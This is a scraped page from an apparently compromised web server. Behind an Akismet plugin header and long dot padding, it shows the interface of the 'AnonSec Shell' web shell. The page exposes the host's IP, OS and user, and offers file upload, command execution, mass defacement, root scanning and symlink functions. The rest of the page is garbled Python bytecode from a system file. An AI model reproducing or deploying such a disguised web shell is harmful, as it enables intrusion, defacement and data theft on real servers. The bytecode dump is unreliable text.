#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager//i18n.pyc
�
L��ec@`sddlmZmZmZddlZddlZddlZddlmZddl	Z	ddl
Z
dZdZej
ede�Ze�adt_dt_ddd	d
gZeje�Zd�Zd�Zd
�Zd�Zdefd��YZdS(i(tprint_functiontdivisiontabsolute_importN(tlocaltrhsms/usr/share/locale/tfallbacktturkishttr_TRttr_CYtku_TRcC`s
ddl}d}y|j|jd�}Wn>|jk
rktd�dtjd<|j|jd�nXtj	r�|dk	r�|j
d�d}|tkr�td|�dtjd<|j|jd�q�nt�tjj
d	�}|dk	r	tj|�ndS(
s�
    Configure internationalization for the application. Should only be
    called once per invocation. (once for CLI, once for GUI)
    iNts9You are attempting to use a locale that is not installed.tCtLC_ALLt.s0You are attempting to use blacklisted locale: %stLANG(tlocaletNonet	setlocaleRtErrortprinttostenvirontsixtPY2tsplittBLACKLISTED_LOCALEStconfigure_gettexttgettLocaletset(Rtcurrent_localetbase_current_localetlang((s?/usr/lib64/python2.7/site-packages/subscription_manager/i18n.pytconfigure_i18n,s$


cC`sAtjtt�tjt�tjtd�tjtd�dS(sOConfigure gettext for all RHSM-related code.

    Since Glade internally uses gettext, we need to use the C-level bindings in locale to adjust the encoding.

    See https://docs.python.org/2/library/locale.html#access-to-message-catalogs

    Exposed as its own function so that it can be called safely in the initial-setup case.
    sUTF-8N(tgettexttbindtextdomaintAPPtDIRt
textdomaintbind_textdomain_codesetR(((s?/usr/lib64/python2.7/site-packages/subscription_manager/i18n.pyRMs	
cO`s�tjrMttd�r:tjdk	r:tjj||�Stj||�SnAttd�r~tjdk	r~tjj||�Stj||�SdS(NR (	RRthasattrtLOCALER RtugettexttTRANSLATIONR"(targstkwargs((s?/usr/lib64/python2.7/site-packages/subscription_manager/i18n.pyR*\s	cO`s�tjrMttd�r:tjdk	r:tjj||�Stj||�SnAttd�r~tjdk	r~tjj||�Stj||�SdS(NR (	RRR(R)R Rt	ungettextR+tngettext(R,R-((s?/usr/lib64/python2.7/site-packages/subscription_manager/i18n.pyR.is	RcB`s2eZdZiZed��Zed��ZRS(s6
    Class used for changing languages on the fly
    cC`s�d	}d	}d|kr/|d|j�}nG|dd!|dd!krv|dd!d|dd!j�|d}n|d	k	r�ytjttd|g�}Wn0tk
r�}tjd||f�d	}q�Xtj	d|�||j
|<n||fS(
s�
        Try to find alternative for given language
        :param language: string with code of language e.g. de_LU
        :return: Instance of gettext.translation and code of new_language
        t_iiiit	languagess)Could not import locale either for %s: %ss!Using new locale for language: %sN(RtupperR"ttranslationR$R%tIOErrortlogtinfotdebugttranslations(tclstlanguageR tnew_languageterr((s?/usr/lib64/python2.7/site-packages/subscription_manager/i18n.pyt_find_lang_alternative}s-
cC`s�d}|dkr�||jj�krHtjd|�|j|}q�y0tjd|�tjttd|g�}Wn?t	k
r�}tj
d||f�|j|�\}}q�Xtjd|�||j|<n|t_
|t_dS(sj
        Set language used by gettext and ungettext method. This method is
        intended for changing language on the fly, because rhsm service can
        be used by many users with different language preferences at the
        same time.
        :param language: String representing locale
                (e.g. de, de_DE, de_DE.utf-8, de_DE.UTF-8)
        R
sReusing locale for language: %ssTrying to use locale: %sR1s"Could not import locale for %s: %ss!Using new locale for language: %sN(RR8tkeysR5R7R"R3R$R%R4R6R=R)R:R (R9R:R R<((s?/usr/lib64/python2.7/site-packages/subscription_manager/i18n.pyR�s	(t__name__t
__module__t__doc__R8tclassmethodR=R(((s?/usr/lib64/python2.7/site-packages/subscription_manager/i18n.pyRvs(t
__future__RRRR"Rtloggingt	threadingRRRR$R%R3tTrueR+R)RR:R Rt	getLoggerR?R5R!RR*R.tobjectR(((s?/usr/lib64/python2.7/site-packages/subscription_manager/i18n.pyt<module>s&				!		
	

Anon7 - 2022
AnonSec Team